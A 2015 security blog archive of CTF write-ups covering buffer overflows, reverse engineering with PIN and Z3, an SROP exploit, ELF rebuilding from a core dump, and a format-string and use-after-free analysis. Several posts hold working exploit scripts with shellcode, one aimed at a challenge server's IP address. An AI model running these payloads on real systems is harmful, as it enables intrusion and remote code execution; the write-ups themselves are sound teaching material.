Wednesday, September 23, 2015

CSAW CTF - Exploitables100 - precision

Given 32-bit ELF reads user input using scanf("%s", &buf), resulting in buffer overflow. Just before returning, it does a floating point comparison
.text:08048529                 fld     ds:floating_num
.text:0804852F                 fstp    [esp+0A0h+check]

.text:08048596                 fld     [esp+0A0h+check]
.text:0804859D                 fld     ds:floating_num
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short ret
The floating point number is a 64 bit value, which acts as a cookie. Since this value is hardcoded, just fetch it and use it during overwrite
gdb-peda$ x/gx 0x08048690
0x8048690: 0x40501555475a31a5
So contruct a payload like below, to control EIP
payload  = "A" * 128
payload += struct.pack("<Q", 0x40501555475a31a5)
payload += "A"*12 
payload += struct.pack("<I", EIP)
Flag is flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Monday, July 13, 2015

PoliCTF RE350 - JOHN THE PACKER - PIN + Z3

The 32bit ELF is a self modyfing code. So I decided to use PIN for futher analysis.
$ pin -t obj-ia32/exectrace.so -- ./re350 flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0}

0x80488f8 : cmp eax, 0x21
0x80488f8 : [0x21] [0x21]
$ ltrace -i ./re350 flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0}
[0x80488f5] strlen("flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0"...) = 33
Length of flag is 33 bytes
Once the length is know, lets search for other interesting stuffs from the PIN trace
0x8048a84 : cmp ebx, eax
0x8048a84 : [0x41] [0x70]  -> A is compared with p
$ pin -t obj-ia32/exectrace.so -- ./re350 flag{pBCDEFGHIJKLMNOPQRTSUVWXYZ0}

0x8048a96 : cmp eax, dword ptr [ebp-0x10]
0x8048a96 : [0x1] [0x6]
--
0x8048a84 : cmp ebx, eax
0x8048a84 : [0x70] [0x70]  -> p is a valid comparison 
--
0x8048a96 : cmp eax, dword ptr [ebp-0x10]
0x8048a96 : [0x2] [0x6]
--
0x8048a84 : cmp ebx, eax   -> B is compared to a
0x8048a84 : [0x42] [0x61]
The first 6 unknown bytes are compared directly, which could be retrieved as 'packer'. Going further we could see this:
0x804892f : cmp ebx, eax
0x804892f : [0x16] [0x21]
--
0x8048953 : xor eax, ecx
0x8048953 : [0x50] [0x10] := [0x40]
--
0x804896f : cmp al, byte ptr [ebp-0xe]
0x804896f : [0x40] [0x51]
User supplied 'P' ^ 0x10 == User supplied 'Q'. On futher analysis, the algo looks like this
key[20] ^ 0x10 == key[21]
key[21] ^ 0x44 == key[22]
......
......
key[31] ^ 0x00 == key[32]
There are multiple inputs which satisfies these constraints. Using Z3 one can quickly find all the ascii printables satisfying the condition. Below is the solver:

#!/usr/bin/env python

from z3 import *

def get_models(s):
    # from 0vercl0k's z3tools.py
    while s.check() == sat:
        m = s.model()
        yield m
        s.add(Or([sym() != m[sym] for sym in m.decls()]))

s = Solver()
a, b, c, d, e, f, g, h, i, j, k, l = BitVecs('a b c d e f g h i j k l', 8)

# ascii printables
s.add(And(0x20 < a, a < 0x7f))
s.add(And(0x20 < b, b < 0x7f))
s.add(And(0x20 < c, c < 0x7f))
s.add(And(0x20 < d, d < 0x7f))
s.add(And(0x20 < e, e < 0x7f))
s.add(And(0x20 < f, f < 0x7f))
s.add(And(0x20 < g, g < 0x7f))
s.add(And(0x20 < h, h < 0x7f))
s.add(And(0x20 < i, i < 0x7f))
s.add(And(0x20 < j, j < 0x7f))
s.add(And(0x20 < k, k < 0x7f))
s.add(And(0x20 < l, l < 0x7f))

# from PIN trace
s.add(a ^ 0x10 == b)
s.add(b ^ 0x44 == c)
s.add(c ^ 0x07 == d)
s.add(d ^ 0x43 == e)
s.add(e ^ 0x59 == f)
s.add(f ^ 0x1c == g)
s.add(g ^ 0x5b == h)
s.add(h ^ 0x1e == i)
s.add(i ^ 0x19 == j)
s.add(j ^ 0x47 == k)
s.add(k ^ 0x00 == l)

for m in get_models(s):
    serial = [m[a].as_long(), m[b].as_long(), m[c].as_long(), m[d].as_long(),
       m[e].as_long(), m[f].as_long(), m[g].as_long(), m[h].as_long(),
       m[i].as_long(), m[j].as_long(), m[k].as_long(), m[l].as_long()]
    
    key = ''
    for _ in serial: key += chr(_)
    print key

# probable solution =-in-th3-4ss
The most matching characters looked like '=-in-th3-4ss'. Thats 12 bytes of flag. Now we have flag{packerXXXXXXXXX=-in-th3-4ss}. After this, there wasn't much details in the trace file [I didn't trace floating point operations]. We need to find how the middle part of flag is validated

The ltrace had few calls to pow() function. Lets see, if there is anything related to this. Self modyfing code might cause issue with breakpoints.
2681 [0x80487b3] pow(0, 0x40180000, 0, 0x40080000)                                      = 1
2681 [0x80487e0] pow(0, 0x40180000, 0, 0x40000000)                                      = 1
2681 [0x8048843] pow(0, 0x40000000, 0, 0x40504000)                                      = 1
gdb-peda$ break *0x8048843
Breakpoint 1 at 0x8048843

gdb-peda$ run flag{packerAAAAAAAAA=-in-th3-4ss}

gdb-peda$ generate-core-file
Now, lets analyze the core. Function at 0x08048AA5 has some 7 checks. With little debugging one can find the 5th check is the one that validates the missing parts of flag

.text:08048B67 push    eax
.text:08048B68 push    26h
.text:08048B6D push    offset check_five
.text:08048B72 call    call_mprotect
.text:08048B77 add     esp, 10h
.text:08048B7A add     [ebp+check_count], eax
.text:08048B7D mov     eax, [ebp+arg]  
check_five validates key[11] - key[21]. It futher calls a function 0x08048813 to perform some floating point operations. The return value of the floating point operation is compared to validate the flag. Note that the comparison is done sequentially. So for each valid byte, more code is executed. One can use PIN to count instructions and check if a byte is valid or not.

.text:080489F9                 push    offset floating_point
.text:080489FE                 call    call_mprotect
.text:08048A03                 add     esp, 20h
.text:08048A06                 test    eax, eax
.text:08048A08                 jnz     short success   ; flag byte passes first check
.text:08048A0A                 mov     eax, 0          ; failure - invalid flag byte
.text:08048A0F                 jmp     short ret
.text:08048A11 ; ---------------------------------------------------------------------------
.text:08048A11
.text:08048A11 success:                                ; CODE XREF: check_five+5Fj
.text:08048A11                 mov     eax, [ebp+flag]
.text:08048A14                 add     eax, 17
.text:08048A17                 movzx   eax, byte ptr [eax]
.text:08048A1A                 movsx   eax, al
.text:08048A1D                 and     eax, 1
.text:08048A20                 test    eax, eax
.text:08048A22                 jnz     short inc ; flag byte [17] passes second check
.text:08048A24                 mov     eax, 0
.text:08048A29                 jmp     short ret
.text:08048A2B ; ---------------------------------------------------------------------------
.text:08048A2B
.text:08048A2B inc:                                    ; CODE XREF: check_five+79j
.text:08048A2B                 add     [ebp+counter], 1
.text:08048A2F
.text:08048A2F loop:                                   ; CODE XREF: check_five+25j
.text:08048A2F                 cmp     [ebp+counter], 0Ah
.text:08048A33                 jle     short loop_body
.text:08048A35                 mov     eax, 1
.text:08048A3A
.text:08048A3A ret:                                    ; CODE XREF: check_five+66j
.text:08048A3A                                         ; check_five+80j
Using these information retrieve other bytes. Make sure to count only instructions from main executable.
#!/usr/bin/env python

import subprocess

start = "flag{packer"
end   = "=-in-th3-4ss}"

for c in range(33, 127):
    trial = start + chr(c) + "A"*8 + end
    msg = subprocess.check_output(['pin', '-t', 'obj-ia32/count.so', '--' , './re350', trial])
    count = msg.strip()[-3:]
    print chr(c), count
$ python counter.py

* 774
+ 774
, 774
- 825
. 774
/ 774
0 774
1 774
2 774
We choose '-' as valid input. The binary accepts multiple solutions. One may have to manually pick up chars to get a meaningful key. If count is same for all possible chars at a particular index, it could be that all chars are valid. Finally, flag for the challenge is
$ ./re350 flag{packer-15-4-?41=-in-th3-4ss}
You got the flag: flag{packer-15-4-?41=-in-th3-4ss}
I arrived at this solution few minutes after the CTF ended :D

PoliCTF RE200 - REVERSEMEPLZ

This is a 32 bit binary which validates a key. Removing the dead codes, this is what the algorithm looks like:
    for (size_t i = 0; i < 0xF; i++) {
        if (key[i] < 'a') key[i] = transform(key[1] & 1);
        if (key[i] > 'z') key[i] = transform(key[1] & 2);
        dec[i] = transform(key[i]);
        if (dec[i] != 0xCF && dec[i] > 0xCC) flag = true; 
    }    

    if (flag) return 0;

    for (size_t i = 1; i < 0xF; i++) {
        if (dec[i] - dec[i-1] != diff_array[i]) return 0;
    }

    return transform(key[0]) == 'b';
So the key length is 15 bytes. The first byte of key is transformed to 'b'. The function at 0x08048519 takes single byte as input and gives a single byte output. Considering all ascii small letters as input, one can create transformation table. If that doesn't work, assume key[1] value and build table for ascii printables under transform(0), transform(1) or transform(2)

Below is the solution:

int8_t flag[16] = {0};
int8_t table[256][1] = {0};

int main(int argc, char **argv)
{
    for (size_t c = 97; c <= 122; c++)
        table[transform(c)][0] = c;

    flag[0] = table['b'][0];

    for (size_t i = 0; i < 14; i++)
        flag[i+1] = table[table[flag[i]][0] + diff_array[i]][0];

    printf("%s\n", flag);
    return 0;
}
Flag for the challenge is flag{onetwotheflagyo}. Full source is found here

Saturday, June 20, 2015

Fun with SROP Exploitation

This post is regarding another solution for the same problem mentioned in Return to VDSO using ELF Auxiliary Vectors. So the idea here is to exploit a tiny binary remotely using SigReturn Oriented Programming (SROP) without info leak or bruteforce. Below is the challenge code:
section .text

global _start

vuln:
    sub esp, 8
    mov eax, 3  ; sys_read
    xor ebx, ebx ; stdin
    mov ecx, esp ; buffer
    mov edx, 1024 ; size
    int 0x80
    add esp, 8
    ret
 
_start:
    call vuln
    xor eax, eax
    inc eax  ; sys_exit
    int 0x80
The binary is not a PIE but with ASLR and NX enabled. 12 bytes will overwrite the saved EIP. We will have to make the target binary read 0x77 bytes from the socket so that EAX is set to make sigreturn syscall. Once delivering sigreturn we can load all the registers with user controlled data.

We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.

Make .text segment RWX using mprotect

The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP.

Pivoting stack into ELF header

ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
gdb-peda$ x/8wx 0x8048000
0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034
set ESP to 0x8048010 such that add esp, 8; ret takes the value 0x8048077 into EIP, which means we can replay our program but with stack at a fixed address. When the program executes again from entry point, the code segment itself gets overwritten as data is read into text segment during the read syscall ie read(0, .text segment, 1024). Our shellcode executes when the read syscall returns. Below is the solution:
#!/usr/bin/env python

import struct
import telnetlib
from Frame import SigreturnFrame

ip = '127.0.0.1'
port = 8888
page_text_segment = 0x08048000
INT_80 = 0x08048071
SYS_MPROTECT  = 125

con = telnetlib.Telnet(ip, port)

frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", page_text_segment)
frame.set_regvalue("ecx", 0x1000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", page_text_segment)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame
frame.set_regvalue("cs", 0x73)
frame.set_regvalue("ss", 0x7b)

payload  = "A" * 8
payload += struct.pack("<I", INT_80)            # Overwrite Saved EIP
payload += frame.get_frame()
payload += "A" * (0x77 - len(payload) - 1)      # read SIGRETURN number of bytes
con.write(payload + chr(0xa))

# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
con.write(open('shellcode').read())
con.interact()
renorobert@ubuntu:~/SROP/sploit$ nc.traditional -vvv -e ./vuln_s -l -p 8888
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 60604

renorobert@ubuntu:~/SROP/sploit$ python sploit.py 
uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
Frame could be found here

Sunday, June 7, 2015

Rebuilding ELF from Coredump

Recovering ELF from memory dumps are not new and are well discussed many times in many places. I have used Silvio Cesare's work [ELF EXECUTABLE RECONSTRUCTION FROM A CORE IMAGE] and code here to rebuild many of ELF metadata along with dynamic linking details. Many of these section headers may or may not exists. This is a POC code. Here is the link to source core2elf
renorobert@ubuntu:~/corerec$ ./hello
Hello World!

renorobert@ubuntu:~/corerec$ file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from '/home/renorobert/corerec/hello'

renorobert@ubuntu:~/corerec$ ./core_recover 
[*] Program headers of CORE
    0x00000000 - 0x00000000
    0x08048000 - 0x08049000
    0x08049000 - 0x0804a000
    0x0804a000 - 0x0804b000
    0xf7e09000 - 0xf7e0a000
    0xf7e0a000 - 0xf7fb2000
    0xf7fb2000 - 0xf7fb4000
    0xf7fb4000 - 0xf7fb5000
    0xf7fb5000 - 0xf7fb8000
    0xf7fd7000 - 0xf7fd9000
    0xf7fd9000 - 0xf7fda000
    0xf7fda000 - 0xf7fdc000
    0xf7fdc000 - 0xf7ffc000
    0xf7ffc000 - 0xf7ffd000
    0xf7ffd000 - 0xf7ffe000
    0xfffdc000 - 0xffffe000

[*] Program headers of ELF
    0x08048034 - 0x08048154
    0x08048154 - 0x08048167
    0x08048000 - 0x080485bc
    0x08049f08 - 0x0804a024
    0x08049f14 - 0x08049ffc
    0x08048168 - 0x080481ac
    0x080484e0 - 0x0804850c
    0x00000000 - 0x00000000
    0x08049f08 - 0x0804a000

[*] Building section headers from program headers
[*] Building section headers from DYNAMIC section
[*] 6 GOT entries found
[*] Patching GOT entries to PLT address
[*] Done

renorobert@ubuntu:~/corerec$ file ./rebuild.elf 
./rebuild.elf: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped


renorobert@ubuntu:~/corerec$ readelf -a ./rebuild.elf 
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048320
  Start of program headers:          52 (bytes into file)
  Start of section headers:          4412 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         25
  Section header string table index: 1

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .shstrtab         STRTAB          00000000 001020 00011c 00      0   0  1
  [ 2] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 3] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08   A  0   0  4
  [ 4] .note             NOTE            08048168 000168 000044 00   A  0   0  1
  [ 5] .eh_frame_hdr     PROGBITS        080484e0 0004e0 00002c 00   A  0   0  4
  [ 6] .eh_frame         PROGBITS        0804850c 00050c 0000b0 00   A  0   0  4
  [ 7] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  4
  [ 8] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [ 9] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [10] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [11] .got.plt          PROGBITS        0804a000 001000 000018 00  WA  0   0  4
  [12] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [13] .dynstr           STRTAB          0804821c 00021c 000049 00   A  0   0  1
  [14] .dynsym           DYNSYM          080481cc 0001cc 000050 10   A 13   2  4
  [15] .init             PROGBITS        080482b0 0002b0 000030 00  AX  0   0  4
  [16] .plt              PROGBITS        080482e0 0002e0 000040 04  AX  0   0 16
  [17] .text             PROGBITS        08048320 000320 000194 00  AX  0   0 16
  [18] .fini             PROGBITS        080484b4 0004b4 000000 00  AX  0   0  4
  [19] .rel.dyn          REL             08048290 000290 000008 08   A 14   0  4
  [20] .rel.plt          REL             08048298 000298 000018 08   A 14  16  4
  [21] .gnu.version      VERSYM          08048266 000266 00000a 02   A 14   0  2
  [22] .gnu.version_r    VERNEED         08048270 000270 000020 00   A 13   1  4
  [23] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 00   A 14   0  4
  [24] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005bc 0x005bc R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00118 0x0011c RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004e0 0x080484e0 0x080484e0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note .eh_frame_hdr .eh_frame .dynstr .dynsym .init .plt .text .fini .rel.dyn .rel.plt .gnu.version .gnu.version_r .gnu.hash 
   03     .dynamic .bss .init_array .fini_array .jcr .got.plt .data .got 
   04     .dynamic 
   05     .note 
   06     .eh_frame_hdr 
   07     
   08     .dynamic .init_array .fini_array .jcr .got 

Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482b0
 0x0000000d (FINI)                       0x80484b4
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804821c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      74 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0xf7ffd924
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048298
 0x00000011 (REL)                        0x8048290
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048270
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048266
 0x00000000 (NULL)                       0x0

Relocation section '.rel.dyn' at offset 0x290 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x298 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main

The decoding of unwind sections for machine type Intel 80386 is not currently supported.

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484cc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

Histogram for '.gnu.hash' bucket list length (total of 2 buckets):
 Length  Number     % of total  Coverage
      0  1          ( 50.0%)
      1  1          ( 50.0%)    100.0%

Version symbols section '.gnu.version' contains 5 entries:
 Addr: 0000000008048266  Offset: 0x000266  Link: 14 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  
  004:   1 (*global*)   

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000008048270  Offset: 0x000270  Link: 13 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

Displaying notes found at file offset 0x00000168 with length 0x00000044:
  Owner                 Data size   Description
  GNU                  0x00000010   NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 2.6.24
  GNU                  0x00000014   NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: e8ee1fa34adec405fcd55e166c0508d2f941b6f2

renorobert@ubuntu:~/corerec$ ./rebuild.elf 
Hello World!

renorobert@ubuntu:~/corerec$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:    14.04
Codename:   trusty


renorobert@ubuntu:~/corerec$ uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Wednesday, April 29, 2015

CONFidence DS CTF Teaser 2015 - So Easy - Reverse Engineering

We were given a 32 bit ELF which validates the flag. main function reads user input, converts lower case to upper case, upper case to lower case, then compares with string dRGNs{tHISwASsOsIMPLE}. But this is not the flag, there is something else happening. Lets check the .init_array

gdb-peda$ maintenance info sections

 [16]     0x8048d2c->0x8049120 at 0x00000d2c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
 [17]     0x804af04->0x804af0c at 0x00001f04: .init_array ALLOC LOAD DATA HAS_CONTENTS
 [18]     0x804af0c->0x804af10 at 0x00001f0c: .fini_array ALLOC LOAD DATA HAS_CONTENTS
 [19]     0x804af10->0x804af14 at 0x00001f10: .jcr ALLOC LOAD DATA HAS_CONTENTS
 [20]     0x804af14->0x804affc at 0x00001f14: .dynamic ALLOC LOAD DATA HAS_CONTENTS

gdb-peda$ x/4x 0x804af04
0x804af04: 0x080488be 0x08048570 0x08048550 0x00000000

0x080488be is priority constructor, which does some operation before main is executed. Below are the operations of the constructor

[*] Overwrite GOT entry of printf with address of function calling strlen
[*] Call calloc(32, 4)
[*] Then registers a series of destructors using ___cxa_atexit
[*] First destructor registered is the key validation routine, followed by a series of destructor to write a single DWORD to the calloc memory
.text:080488DE                 mov     [ebp+plt_printf], 8048412h
.text:080488E5                 mov     eax, [ebp+plt_printf]
.text:080488E8                 mov     eax, [eax]
.text:080488EA                 mov     [ebp+addr_printf], eax
.text:080488ED                 mov     eax, [ebp+addr_printf]
.text:080488F0                 mov     dword ptr [eax], offset strlen_w ; overwrite with strlen
.text:080488F6                 mov     dword ptr [esp+4], 4 ; size
.text:080488FE                 mov     dword ptr [esp], 32 ; nmemb
.text:08048905                 call    _calloc
.text:0804890A                 mov     ds:calloc_address, eax
.text:0804890F                 mov     dword ptr [esp], offset check_key
.text:08048916                 call    register_destructor
.text:0804891B                 mov     dword ptr [esp], offset a
.text:08048922                 call    register_destructor
.text:08048927                 mov     dword ptr [esp], offset b
Then the program goes into main, reads and modifies user input as mentioned earlier. Later, __run_exit_handlers executes the destructors in the reverse order. Finally, check_key validates the key.
gdb-peda$ break *0x000000000804873C
Breakpoint 1 at 0x804873c

gdb-peda$ heap used
Used chunks of memory on heap
-----------------------------
     0: 0x0804c008 -> 0x0804c08f      136 bytes uncategorized::136 bytes |64 00 00 00 52 00 00 00 47 00 00 00 4e 00 00 00 73 00 00 00 7b 00 00 00 6e 00 00 00 4f 00 00 00 |d...R...G...N...s...{...n...O...|
User supplied flag is is case converted and compared with the bytes found above. So flag for the challenge is DrgnS{NotEvenWarmedUp}

Wednesday, April 22, 2015

Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
.text:08048557                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804855C                 mov     [esp+8], eax    ; stream
.text:08048560                 mov     dword ptr [esp+4], 1024 ; n
.text:08048568                 mov     dword ptr [esp], offset buf ; s
.text:0804856F                 call    _fgets

.text:08048503                 mov     dword ptr [esp+8], offset buf ; format
.text:0804850B                 mov     dword ptr [esp+4], 1024 ; maxlen
.text:08048513                 mov     dword ptr [esp], offset response ; s
.text:0804851A                 call    _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit

#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):
    
    length = len(string)
    if (length % 4) != 0:
        string = '/' * (4 - (length % 4)) + string

    pushop = chr(0x68)
    payload = ''
    for i in range(0, len(string), 4):
        sub = string[i:i+4]
        payload = (pushop + sub) + payload
    return payload

shellcode = ("\x31\xc0\x50" +
            push("/home/problem/flag.txt") + 
            "\x89\xE7\x50" +
            push("/bin/cat") +
            "\x89\xe3"+
            "\x50\x57" +
            "\x53\x89\xE1\x89\xc2\xb0\x0b"+
            "\xcd\x80\x31\xc0\x40\xcd\x80")

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len 
fake_eip = fake_ebp + 8

payload  = "%." + str(fake_ebp) + "u%4$n" 
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip)     # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:
Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Input:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite 
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.



struct node
{
    int price;
    struct node *next;
    struct node *prev;
    int a;
    int b;
    int c;
    char name[50];
};
Creating 3 products and adding it to lowest price manager leaves us with this.



We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node
{
    int price;
    struct node *next;
    struct node *prev;
    struct node *a;
    struct node *b;
    struct node *c;
    char name[50];
};
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 --> 0xcccccccc 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0 
